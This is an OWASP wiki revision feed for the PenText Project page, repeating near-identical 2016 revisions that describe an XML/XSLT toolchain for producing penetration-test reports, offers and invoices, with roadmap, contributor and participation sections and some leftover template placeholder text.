   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219173</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219173"/>
				<updated>2016-07-21T10:29:51Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Project About */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219172</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219172"/>
				<updated>2016-07-21T10:26:23Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Road Map and Getting Involved */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219171</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219171"/>
				<updated>2016-07-21T10:25:46Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Road Map and Getting Involved */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
